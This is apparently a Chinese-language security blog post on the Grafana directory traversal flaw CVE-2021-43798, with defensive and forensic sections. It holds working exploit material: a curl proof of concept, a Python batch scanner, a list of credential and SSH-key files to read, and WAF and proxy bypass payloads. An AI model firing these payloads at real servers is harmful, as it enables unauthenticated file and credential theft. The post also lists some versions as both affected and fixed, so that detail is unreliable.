1. Grafana目录穿越漏洞深度解析
Grafana作为当前最流行的开源可视化监控平台,在2021年底曝出的CVE-2021-43798漏洞引发了广泛关注。这个漏洞本质上是个典型的目录穿越漏洞(Directory Traversal),但特殊之处在于它通过插件模块这个看似安全的入口实现了攻击突破。
我在实际渗透测试中发现,该漏洞最危险的特点是完全不需要任何身份认证。攻击者只需构造特定的HTTP请求路径,就能直接读取服务器上的敏感文件。比如通过构造/public/plugins/alertlist/../../../../../../../../etc/passwd这样的URL,就能轻松获取系统用户列表。
1.1 漏洞核心原理
问题的根源在于Grafana处理插件静态资源请求时的路径校验逻辑。当请求/public/plugins/[插件名]/[资源路径]时,系统会执行以下操作:
- 拼接基础路径
/var/lib/grafana/public/plugins/ - 直接附加用户输入的相对路径
- 未对
../进行过滤就执行文件读取
用个生活场景类比:就像酒店前台收到"请把308房间的../财务室/保险箱钥匙给我"这样的请求,未经核实就直接执行了。
1.2 受影响版本范围
根据官方公告,受影响的具体版本包括:
- Grafana 8.0.0-beta1 至 8.0.7
- Grafana 8.1.0 至 8.1.8
- Grafana 8.2.0 至 8.2.7
- Grafana 8.3.0
特别需要注意的是,使用Docker部署时如果直接拉取latest标签,很可能就会中招。我在测试环境中用以下命令复现时,就遇到了这个问题:
docker pull grafana/grafana:8.2.5 docker run -d -p 3000:3000 grafana/grafana:8.2.52. 漏洞复现实战演示
2.1 基础环境搭建
建议使用以下配置快速搭建测试环境:
# 使用Vulhub的现成环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/grafana/CVE-2021-43798 docker-compose up -d启动后访问http://your-ip:3000就能看到Grafana登录界面,此时系统已处于漏洞状态。
2.2 手工验证POC
最直接的验证方式是使用curl命令:
curl -v "http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"如果返回root:x:0:0:root:/root:/bin/bash等用户信息,说明漏洞存在。我在实际测试中发现,不同插件名称的成功率有差异,推荐按这个顺序尝试:
- alertlist
- dashlist
- graph
- prometheus
2.3 自动化检测工具
对于批量检测场景,可以使用开源的检测脚本:
import requests plugins = ["alertlist","dashlist","graph","prometheus"] for plugin in plugins: url = f"http://target:3000/public/plugins/{plugin}/../../../../../../../../etc/passwd" resp = requests.get(url) if "root:" in resp.text: print(f"[+] Vulnerable via {plugin}") break3. 漏洞利用进阶技巧
3.1 敏感文件枚举
除了常见的/etc/passwd,以下文件往往包含高价值信息:
/etc/grafana/grafana.ini(含数据库密码)/var/lib/grafana/grafana.db(SQLite数据库)/proc/self/environ(环境变量)/root/.ssh/id_rsa(SSH私钥)
我在某次渗透测试中,就是通过读取grafana.ini文件获得了数据库凭证,进而拿到了整个监控系统的控制权。
3.2 绕过特殊场景
当遇到以下情况时,可以尝试这些变种Payload:
- 反向代理场景:使用URL编码的
..%2f替代..//public/plugins/alertlist/..%2f..%2f..%2fetc/passwd - WAF拦截场景:增加多余的斜杠
/public/plugins/alertlist///../../../../etc/passwd
4. 全面防御方案
4.1 官方修复方案
Grafana官方在8.0.7、8.1.8、8.2.7和8.3.1版本中修复了该漏洞。升级命令示例:
# Docker环境 docker pull grafana/grafana:8.3.1 docker-compose down && docker-compose up -d # Ubuntu环境 sudo apt update && sudo apt install --only-upgrade grafana4.2 临时缓解措施
如果无法立即升级,可以采用以下方案:
方案一:Nginx反向代理过滤
location ~ /public/plugins/ { if ($request_uri ~* "\.\.") { return 403; } proxy_pass http://grafana:3000; }方案二:网络层控制
# 只允许管理IP访问Grafana iptables -A INPUT -p tcp --dport 3000 -s 10.0.0.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 3000 -j DROP4.3 安全加固建议
根据我在企业环境中的实战经验,建议额外实施:
- 启用Grafana的强制HTTPS
- 配置适当的访问控制策略
- 定期审计插件权限
- 对
/public/plugins目录设置只读权限
5. 事件响应与取证
当发现漏洞被利用后,建议立即执行以下操作:
保留现场证据
# 保存当前网络连接 netstat -tulnp > netstat.log # 保存进程快照 ps aux > ps.log检查异常文件访问
# Linux系统检查最近访问的文件 find /var/lib/grafana -type f -atime -1 -ls数据库审计
-- 检查grafana数据库中的异常会话 SELECT * FROM user_auth_token WHERE created > datetime('now','-1 day');
在多个企业应急响应案例中,我们发现攻击者往往会尝试读取Kubernetes的/var/run/secrets目录获取集群凭证,这点需要特别关注。